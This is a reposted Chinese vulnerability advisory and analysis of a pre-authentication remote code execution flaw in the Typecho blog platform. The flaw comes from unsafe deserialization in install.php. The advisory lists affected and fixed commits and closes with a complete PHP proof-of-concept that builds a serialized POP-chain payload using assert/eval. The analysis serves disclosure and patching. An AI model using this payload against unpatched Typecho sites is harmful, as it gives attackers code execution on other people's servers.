您好,登錄后才能下訂單哦!
這篇文章主要介紹了typecho前臺GETSHELL分析預警的案例,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
install.php一處if`判斷里直接處理了用戶傳入的序列化字符串,以及可以在現有框架中尋找到一條完整的pop執行鏈導致任意php命令執行。
影響面
幾乎市面上的未及時更新的所有typecho都受到該漏洞影響。
影響版本
gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5
之前的幾乎所有版本
修復版本
gitcommite277141c974cd740702c5ce73f7e9f382c18d84e
以后的commit
0x03 修復方案
漏洞代碼
這里可以預想,應該不會有顯然在__constract()中寫出危險操作的開發吧
所以把思路轉向字符串拼接的時候
尋找下__toString()
其實只有三個class有這個__toString()
var/Typecho/Feed.php
var/Typecho/Config.php
var/Typecho/Db/Query.php
這里面大致出現了如下幾種調用
php
$item['xxx']
$item['xxx']->$yyyy
$this->
從這個點可以有些新的思考
因為是反序列化,對象中的屬性也是我們可以控制的,那么現在去找找__get()方法
php
class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout
有這么些個函數是帶有__get()方法的
有這么一處完整不經過變化處理的
然后直接由call_user_func執行構造好的指定代碼
php
<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
驗證截圖
2. 注釋掉install.php相關代碼
感謝你能夠認真閱讀完這篇文章,希望小編分享的“typecho前臺GETSHELL分析預警的案例”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。